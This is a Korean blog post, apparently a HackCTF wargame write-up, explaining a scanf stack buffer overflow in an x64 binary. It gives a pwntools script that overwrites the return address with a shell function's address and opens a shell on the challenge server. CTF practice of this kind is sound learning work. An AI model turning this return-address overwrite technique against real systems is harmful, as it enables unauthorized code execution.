문제 종류 - Pwnable
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3004
풀이
이야.. 쉘 함수가 있는 줄 모르고 삽질했네..
일단 파일을 IDA로 열어봅시다.
main 함수 부분에서 scanf를 이용해 bof를 발생시킵니다.
쉘을 열어주는 함수가 따로 있으니까, gdb를 이용해 분석을 해보도록 합시다.
scanf를 위해 272칸을 할당받으니, x86 bof와 마찬가지로 RET 부분에 쉘 함수의 시작 주소를 덮으면 될 거 같네요.
x64 환경에서는 SFP(8byte), RET(6byte)를 할당 받습니다.
272 + 8byte 만큼을 더미 값으로 덮고, 6byte를 쉘 함수의 시작 주소인 \x06\x06\x40\x00\x00\x00로 덮어봅시다.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3004)
4
5 payload = 'A'*280 + '\x06\x06\x40\x00\x00\x00'
6 p.sendline(payload)
7 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 풀이 (150p) (0) | 2020.07.15 |
---|---|
[HackCTF] x64 Simple_size_BOF 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] 내 버퍼가 흘러넘친다!!! 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] 달라란 침공 풀이 (150p) (0) | 2020.07.14 |
[HackCTF] Basic FSB 풀이 (100p) (0) | 2020.07.14 |